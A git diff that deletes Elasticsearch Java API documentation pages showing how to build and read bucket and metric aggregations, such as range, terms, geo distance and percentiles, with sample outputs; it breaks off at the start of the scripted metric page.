---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/geodistance-aggregation.asciidoc b/docs/java-api/aggregations/bucket/geodistance-aggregation.asciidoc
deleted file mode 100644
index 472c3ac59bf..00000000000
--- a/docs/java-api/aggregations/bucket/geodistance-aggregation.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[[java-aggs-bucket-geodistance]]
-==== Geo Distance Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-geodistance-aggregation.html[Geo Distance Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .geoDistance("agg", new GeoPoint(48.84237171118314,2.33320027692004))
-                .field("address.location")
-                .unit(DistanceUnit.KILOMETERS)
-                .addUnboundedTo(3.0)
-                .addRange(3.0, 10.0)
-                .addRange(10.0, 500.0);
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.range.Range;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Range agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Range.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKeyAsString();    // key as String
-    Number from = (Number) entry.getFrom(); // bucket from value
-    Number to = (Number) entry.getTo();     // bucket to value
-    long docCount = entry.getDocCount();    // Doc count
-
-    logger.info("key [{}], from [{}], to [{}], doc_count [{}]", key, from, to, docCount);
-}
---------------------------------------------------
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-key [*-3.0], from [0.0], to [3.0], doc_count [161]
-key [3.0-10.0], from [3.0], to [10.0], doc_count [460]
-key [10.0-500.0], from [10.0], to [500.0], doc_count [4925]
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/geohashgrid-aggregation.asciidoc b/docs/java-api/aggregations/bucket/geohashgrid-aggregation.asciidoc
deleted file mode 100644
index 19e3f033493..00000000000
--- a/docs/java-api/aggregations/bucket/geohashgrid-aggregation.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[[java-aggs-bucket-geohashgrid]]
-==== Geo Hash Grid Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-geohashgrid-aggregation.html[Geo Hash Grid Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .geohashGrid("agg")
-                .field("address.location")
-                .precision(4);
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.geogrid.GeoHashGrid;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-GeoHashGrid agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (GeoHashGrid.Bucket entry : agg.getBuckets()) {
-    String keyAsString = entry.getKeyAsString(); // key as String
-    GeoPoint key = (GeoPoint) entry.getKey();    // key as geo point
-    long docCount = entry.getDocCount();         // Doc count
-
-    logger.info("key [{}], point {}, doc_count [{}]", keyAsString, key, docCount);
-}
---------------------------------------------------
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-key [gbqu], point [47.197265625, -1.58203125], doc_count [1282]
-key [gbvn], point [50.361328125, -4.04296875], doc_count [1248]
-key [u1j0], point [50.712890625, 7.20703125], doc_count [1156]
-key [u0j2], point [45.087890625, 7.55859375], doc_count [1138]
-...
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/global-aggregation.asciidoc b/docs/java-api/aggregations/bucket/global-aggregation.asciidoc
deleted file mode 100644
index e0a731159ad..00000000000
--- a/docs/java-api/aggregations/bucket/global-aggregation.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[[java-aggs-bucket-global]]
-==== Global Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-global-aggregation.html[Global Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .global("agg")
-    .subAggregation(AggregationBuilders.terms("genders").field("gender"));
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.global.Global;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Global agg = sr.getAggregations().get("agg");
-agg.getDocCount(); // Doc count
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/histogram-aggregation.asciidoc b/docs/java-api/aggregations/bucket/histogram-aggregation.asciidoc
deleted file mode 100644
index 59bb555401c..00000000000
--- a/docs/java-api/aggregations/bucket/histogram-aggregation.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-[[java-aggs-bucket-histogram]]
-==== Histogram Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-histogram-aggregation.html[Histogram Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .histogram("agg")
-                .field("height")
-                .interval(1);
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.histogram.Histogram;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Histogram agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Histogram.Bucket entry : agg.getBuckets()) {
-    Number key = (Number) entry.getKey();   // Key
-    long docCount = entry.getDocCount();    // Doc count
-
-    logger.info("key [{}], doc_count [{}]", key, docCount);
-}
---------------------------------------------------
-
-===== Order
-
-Supports the same order functionality as the <<java-aggs-bucket-terms,`Terms Aggregation`>>.
diff --git a/docs/java-api/aggregations/bucket/iprange-aggregation.asciidoc b/docs/java-api/aggregations/bucket/iprange-aggregation.asciidoc
deleted file mode 100644
index a2c07df1b26..00000000000
--- a/docs/java-api/aggregations/bucket/iprange-aggregation.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[[java-aggs-bucket-iprange]]
-==== Ip Range Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-iprange-aggregation.html[Ip Range Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder<?> aggregation =
-        AggregationBuilders
-                .ipRange("agg")
-                .field("ip")
-                .addUnboundedTo("192.168.1.0")             // from -infinity to 192.168.1.0 (excluded)
-                .addRange("192.168.1.0", "192.168.2.0")    // from 192.168.1.0 to 192.168.2.0 (excluded)
-                .addUnboundedFrom("192.168.2.0");          // from 192.168.2.0 to +infinity
---------------------------------------------------
-
-Note that you could also use ip masks as ranges:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder<?> aggregation =
-        AggregationBuilders
-                .ipRange("agg")
-                .field("ip")
-                .addMaskRange("192.168.0.0/32")
-                .addMaskRange("192.168.0.0/24")
-                .addMaskRange("192.168.0.0/16");
---------------------------------------------------
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.range.Range;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Range agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Range.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKeyAsString();            // Ip range as key
-    String fromAsString = entry.getFromAsString();  // Ip bucket from as a String
-    String toAsString = entry.getToAsString();      // Ip bucket to as a String
-    long docCount = entry.getDocCount();            // Doc count
-
-    logger.info("key [{}], from [{}], to [{}], doc_count [{}]", key, fromAsString, toAsString, docCount);
-}
---------------------------------------------------
-
-This will basically produce for the first example:
-
-[source,text]
---------------------------------------------------
-key [*-192.168.1.0], from [null], to [192.168.1.0], doc_count [13]
-key [192.168.1.0-192.168.2.0], from [192.168.1.0], to [192.168.2.0], doc_count [14]
-key [192.168.2.0-*], from [192.168.2.0], to [null], doc_count [23]
---------------------------------------------------
-
-And for the second one (using Ip masks):
-
-[source,text]
---------------------------------------------------
-key [192.168.0.0/32], from [192.168.0.0], to [192.168.0.1], doc_count [0]
-key [192.168.0.0/24], from [192.168.0.0], to [192.168.1.0], doc_count [13]
-key [192.168.0.0/16], from [192.168.0.0], to [192.169.0.0], doc_count [50]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/missing-aggregation.asciidoc b/docs/java-api/aggregations/bucket/missing-aggregation.asciidoc
deleted file mode 100644
index 31d21604dc5..00000000000
--- a/docs/java-api/aggregations/bucket/missing-aggregation.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[java-aggs-bucket-missing]]
-==== Missing Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-missing-aggregation.html[Missing Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders.missing("agg").field("gender");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.missing.Missing;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Missing agg = sr.getAggregations().get("agg");
-agg.getDocCount(); // Doc count
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/nested-aggregation.asciidoc b/docs/java-api/aggregations/bucket/nested-aggregation.asciidoc
deleted file mode 100644
index b1ebad7a63b..00000000000
--- a/docs/java-api/aggregations/bucket/nested-aggregation.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[java-aggs-bucket-nested]]
-==== Nested Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-nested-aggregation.html[Nested Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .nested("agg", "resellers");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.nested.Nested;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Nested agg = sr.getAggregations().get("agg");
-agg.getDocCount(); // Doc count
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/range-aggregation.asciidoc b/docs/java-api/aggregations/bucket/range-aggregation.asciidoc
deleted file mode 100644
index b30c856ebea..00000000000
--- a/docs/java-api/aggregations/bucket/range-aggregation.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-[[java-aggs-bucket-range]]
-==== Range Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-range-aggregation.html[Range Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .range("agg")
-                .field("height")
-                .addUnboundedTo(1.0f)               // from -infinity to 1.0 (excluded)
-                .addRange(1.0f, 1.5f)               // from 1.0 to 1.5 (excluded)
-                .addUnboundedFrom(1.5f);            // from 1.5 to +infinity
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.range.Range;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Range agg = sr.getAggregations().get("agg");
-
-// For each entry
-for (Range.Bucket entry : agg.getBuckets()) {
-    String key = entry.getKeyAsString();             // Range as key
-    Number from = (Number) entry.getFrom();          // Bucket from
-    Number to = (Number) entry.getTo();              // Bucket to
-    long docCount = entry.getDocCount();    // Doc count
-
-    logger.info("key [{}], from [{}], to [{}], doc_count [{}]", key, from, to, docCount);
-}
---------------------------------------------------
-
-This will basically produce for the first example:
-
-[source,text]
---------------------------------------------------
-key [*-1.0], from [-Infinity], to [1.0], doc_count [9]
-key [1.0-1.5], from [1.0], to [1.5], doc_count [21]
-key [1.5-*], from [1.5], to [Infinity], doc_count [20]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/reverse-nested-aggregation.asciidoc b/docs/java-api/aggregations/bucket/reverse-nested-aggregation.asciidoc
deleted file mode 100644
index 635b0e8cf77..00000000000
--- a/docs/java-api/aggregations/bucket/reverse-nested-aggregation.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
-[[java-aggs-bucket-reverse-nested]]
-==== Reverse Nested Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-reverse-nested-aggregation.html[Reverse Nested Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-    AggregationBuilders
-        .nested("agg", "resellers")
-        .subAggregation(
-                AggregationBuilders
-                        .terms("name").field("resellers.name")
-                        .subAggregation(
-                                AggregationBuilders
-                                        .reverseNested("reseller_to_product")
-                        )
-        );
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.nested.Nested;
-import org.elasticsearch.search.aggregations.bucket.nested.ReverseNested;
-import org.elasticsearch.search.aggregations.bucket.terms.Terms;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Nested agg = sr.getAggregations().get("agg");
-Terms name = agg.getAggregations().get("name");
-for (Terms.Bucket bucket : name.getBuckets()) {
-    ReverseNested resellerToProduct = bucket.getAggregations().get("reseller_to_product");
-    resellerToProduct.getDocCount(); // Doc count
-}
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/bucket/significantterms-aggregation.asciidoc b/docs/java-api/aggregations/bucket/significantterms-aggregation.asciidoc
deleted file mode 100644
index 4450c324c82..00000000000
--- a/docs/java-api/aggregations/bucket/significantterms-aggregation.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
-[[java-aggs-bucket-significantterms]]
-==== Significant Terms Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-significantterms-aggregation.html[Significant Terms Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilder aggregation =
-        AggregationBuilders
-                .significantTerms("significant_countries")
-                .field("address.country");
-
-// Let say you search for men only
-SearchResponse sr = client.prepareSearch()
-        .setQuery(QueryBuilders.termQuery("gender", "male"))
-        .addAggregation(aggregation)
-        .get();
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.significant.SignificantTerms;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-SignificantTerms agg = sr.getAggregations().get("significant_countries");
-
-// For each entry
-for (SignificantTerms.Bucket entry : agg.getBuckets()) {
-    entry.getKey();      // Term
-    entry.getDocCount(); // Doc count
-}
---------------------------------------------------
diff --git a/docs/java-api/aggregations/bucket/terms-aggregation.asciidoc b/docs/java-api/aggregations/bucket/terms-aggregation.asciidoc
deleted file mode 100644
index db584fd4ced..00000000000
--- a/docs/java-api/aggregations/bucket/terms-aggregation.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
-[[java-aggs-bucket-terms]]
-==== Terms Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-bucket-terms-aggregation.html[Terms Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .terms("genders")
-    .field("gender");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.bucket.terms.Terms;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Terms genders = sr.getAggregations().get("genders");
-
-// For each entry
-for (Terms.Bucket entry : genders.getBuckets()) {
-    entry.getKey();      // Term
-    entry.getDocCount(); // Doc count
-}
---------------------------------------------------
-
-===== Order
-
-Import bucket ordering strategy classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.BucketOrder;
---------------------------------------------------
-
-Ordering the buckets by their `doc_count` in an ascending manner:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .terms("genders")
-    .field("gender")
-    .order(BucketOrder.count(true))
---------------------------------------------------
-
-Ordering the buckets alphabetically by their terms in an ascending manner:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .terms("genders")
-    .field("gender")
-    .order(BucketOrder.key(true))
---------------------------------------------------
-
-Ordering the buckets by single value metrics sub-aggregation (identified by the aggregation name):
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .terms("genders")
-    .field("gender")
-    .order(BucketOrder.aggregation("avg_height", false))
-    .subAggregation(
-        AggregationBuilders.avg("avg_height").field("height")
-    )
---------------------------------------------------
-
-Ordering the buckets by multiple criteria:
-
-[source,java]
---------------------------------------------------
-AggregationBuilders
-    .terms("genders")
-    .field("gender")
-    .order(BucketOrder.compound( // in order of priority:
-        BucketOrder.aggregation("avg_height", false), // sort by sub-aggregation first
-        BucketOrder.count(true))) // then bucket count as a tie-breaker
-    .subAggregation(
-        AggregationBuilders.avg("avg_height").field("height")
-    )
---------------------------------------------------
diff --git a/docs/java-api/aggregations/metrics.asciidoc b/docs/java-api/aggregations/metrics.asciidoc
deleted file mode 100644
index c9afb4c39d4..00000000000
--- a/docs/java-api/aggregations/metrics.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[[java-aggregations-metrics]]
-
-include::metrics/min-aggregation.asciidoc[]
-
-include::metrics/max-aggregation.asciidoc[]
-
-include::metrics/sum-aggregation.asciidoc[]
-
-include::metrics/avg-aggregation.asciidoc[]
-
-include::metrics/stats-aggregation.asciidoc[]
-
-include::metrics/extendedstats-aggregation.asciidoc[]
-
-include::metrics/valuecount-aggregation.asciidoc[]
-
-include::metrics/percentile-aggregation.asciidoc[]
-
-include::metrics/percentile-rank-aggregation.asciidoc[]
-
-include::metrics/cardinality-aggregation.asciidoc[]
-
-include::metrics/geobounds-aggregation.asciidoc[]
-
-include::metrics/tophits-aggregation.asciidoc[]
-
-include::metrics/scripted-metric-aggregation.asciidoc[]
diff --git a/docs/java-api/aggregations/metrics/avg-aggregation.asciidoc b/docs/java-api/aggregations/metrics/avg-aggregation.asciidoc
deleted file mode 100644
index 511cbabf5c8..00000000000
--- a/docs/java-api/aggregations/metrics/avg-aggregation.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[java-aggs-metrics-avg]]
-==== Avg Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-avg-aggregation.html[Avg Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-AvgAggregationBuilder aggregation =
-        AggregationBuilders
-                .avg("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.avg.Avg;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Avg agg = sr.getAggregations().get("agg");
-double value = agg.getValue();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/cardinality-aggregation.asciidoc b/docs/java-api/aggregations/metrics/cardinality-aggregation.asciidoc
deleted file mode 100644
index 8a854e553f4..00000000000
--- a/docs/java-api/aggregations/metrics/cardinality-aggregation.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
-[[java-aggs-metrics-cardinality]]
-==== Cardinality Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-cardinality-aggregation.html[Cardinality Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-CardinalityAggregationBuilder aggregation =
-        AggregationBuilders
-                .cardinality("agg")
-                .field("tags");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.cardinality.Cardinality;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Cardinality agg = sr.getAggregations().get("agg");
-long value = agg.getValue();
---------------------------------------------------
-
-
diff --git a/docs/java-api/aggregations/metrics/extendedstats-aggregation.asciidoc b/docs/java-api/aggregations/metrics/extendedstats-aggregation.asciidoc
deleted file mode 100644
index 8f2f12ede68..00000000000
--- a/docs/java-api/aggregations/metrics/extendedstats-aggregation.asciidoc
+++ /dev/null
@@ -1,44 +0,0 @@
-[[java-aggs-metrics-extendedstats]]
-==== Extended Stats Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-extendedstats-aggregation.html[Extended Stats Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-ExtendedStatsAggregationBuilder aggregation =
-        AggregationBuilders
-                .extendedStats("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.stats.extended.ExtendedStats;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-ExtendedStats agg = sr.getAggregations().get("agg");
-double min = agg.getMin();
-double max = agg.getMax();
-double avg = agg.getAvg();
-double sum = agg.getSum();
-long count = agg.getCount();
-double stdDeviation = agg.getStdDeviation();
-double sumOfSquares = agg.getSumOfSquares();
-double variance = agg.getVariance();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/geobounds-aggregation.asciidoc b/docs/java-api/aggregations/metrics/geobounds-aggregation.asciidoc
deleted file mode 100644
index 571a61f12e7..00000000000
--- a/docs/java-api/aggregations/metrics/geobounds-aggregation.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[java-aggs-metrics-geobounds]]
-==== Geo Bounds Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-geobounds-aggregation.html[Geo Bounds Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-GeoBoundsAggregationBuilder aggregation =
-        GeoBoundsAggregationBuilder
-                .geoBounds("agg")
-                .field("address.location")
-                .wrapLongitude(true);
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.geobounds.GeoBounds;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-GeoBounds agg = sr.getAggregations().get("agg");
-GeoPoint bottomRight = agg.bottomRight();
-GeoPoint topLeft = agg.topLeft();
-logger.info("bottomRight {}, topLeft {}", bottomRight, topLeft);
---------------------------------------------------
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-bottomRight [40.70500764381921, 13.952946866893775], topLeft [53.49603022435221, -4.190029308156676]
---------------------------------------------------
diff --git a/docs/java-api/aggregations/metrics/max-aggregation.asciidoc b/docs/java-api/aggregations/metrics/max-aggregation.asciidoc
deleted file mode 100644
index 9bd39369842..00000000000
--- a/docs/java-api/aggregations/metrics/max-aggregation.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[java-aggs-metrics-max]]
-==== Max Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-max-aggregation.html[Max Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-MaxAggregationBuilder aggregation =
-        AggregationBuilders
-                .max("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.max.Max;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Max agg = sr.getAggregations().get("agg");
-double value = agg.getValue();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/min-aggregation.asciidoc b/docs/java-api/aggregations/metrics/min-aggregation.asciidoc
deleted file mode 100644
index 0205cae44d8..00000000000
--- a/docs/java-api/aggregations/metrics/min-aggregation.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
-[[java-aggs-metrics-min]]
-==== Min Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-min-aggregation.html[Min Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-MinAggregationBuilder aggregation =
-        AggregationBuilders
-                .min("agg")
-                .field("height");
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.min.Min;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Min agg = sr.getAggregations().get("agg");
-double value = agg.getValue();
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/percentile-aggregation.asciidoc b/docs/java-api/aggregations/metrics/percentile-aggregation.asciidoc
deleted file mode 100644
index ad54fbf5a46..00000000000
--- a/docs/java-api/aggregations/metrics/percentile-aggregation.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[[java-aggs-metrics-percentile]]
-==== Percentile Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-percentile-aggregation.html[Percentile Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-PercentilesAggregationBuilder aggregation =
-        AggregationBuilders
-                .percentiles("agg")
-                .field("height");
---------------------------------------------------
-
-You can provide your own percentiles instead of using defaults:
-
-[source,java]
---------------------------------------------------
-PercentilesAggregationBuilder aggregation =
-        AggregationBuilders
-                .percentiles("agg")
-                .field("height")
-                .percentiles(1.0, 5.0, 10.0, 20.0, 30.0, 75.0, 95.0, 99.0);
---------------------------------------------------
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.percentiles.Percentile;
-import org.elasticsearch.search.aggregations.metrics.percentiles.Percentiles;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-Percentiles agg = sr.getAggregations().get("agg");
-// For each entry
-for (Percentile entry : agg) {
-    double percent = entry.getPercent();    // Percent
-    double value = entry.getValue();        // Value
-
-    logger.info("percent [{}], value [{}]", percent, value);
-}
---------------------------------------------------
-
-
-This will basically produce for the first example:
-
-[source,text]
---------------------------------------------------
-percent [1.0], value [0.814338896154595]
-percent [5.0], value [0.8761912455821302]
-percent [25.0], value [1.173346540141847]
-percent [50.0], value [1.5432023318692198]
-percent [75.0], value [1.923915462033674]
-percent [95.0], value [2.2273644908535335]
-percent [99.0], value [2.284989339108279]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/percentile-rank-aggregation.asciidoc b/docs/java-api/aggregations/metrics/percentile-rank-aggregation.asciidoc
deleted file mode 100644
index a846d59f820..00000000000
--- a/docs/java-api/aggregations/metrics/percentile-rank-aggregation.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-[[java-aggs-metrics-percentile-rank]]
-==== Percentile Ranks Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-percentile-rank-aggregation.html[Percentile Ranks Aggregation]
-with Java API.
-
-
-===== Prepare aggregation request
-
-Here is an example on how to create the aggregation request:
-
-[source,java]
---------------------------------------------------
-PercentileRanksAggregationBuilder aggregation =
-        AggregationBuilders
-                .percentileRanks("agg")
-                .field("height")
-                .values(1.24, 1.91, 2.22);
---------------------------------------------------
-
-
-===== Use aggregation response
-
-Import Aggregation definition classes:
-
-[source,java]
---------------------------------------------------
-import org.elasticsearch.search.aggregations.metrics.percentiles.Percentile;
-import org.elasticsearch.search.aggregations.metrics.percentiles.PercentileRanks;
---------------------------------------------------
-
-[source,java]
---------------------------------------------------
-// sr is here your SearchResponse object
-PercentileRanks agg = sr.getAggregations().get("agg");
-// For each entry
-for (Percentile entry : agg) {
-    double percent = entry.getPercent();    // Percent
-    double value = entry.getValue();        // Value
-
-    logger.info("percent [{}], value [{}]", percent, value);
-}
---------------------------------------------------
-
-
-This will basically produce:
-
-[source,text]
---------------------------------------------------
-percent [29.664353095090945], value [1.24]
-percent [73.9335313461868], value [1.91]
-percent [94.40095147327283], value [2.22]
---------------------------------------------------
-
diff --git a/docs/java-api/aggregations/metrics/scripted-metric-aggregation.asciidoc b/docs/java-api/aggregations/metrics/scripted-metric-aggregation.asciidoc
deleted file mode 100644
index 5b68fa7be45..00000000000
--- a/docs/java-api/aggregations/metrics/scripted-metric-aggregation.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[java-aggs-metrics-scripted-metric]]
-==== Scripted Metric Aggregation
-
-Here is how you can use
-{ref}/search-aggregations-metrics-scripted-metric-aggregation.html[Scripted Metric Aggregation]
-with Java API.
-
-===== Prepare aggregation request
-
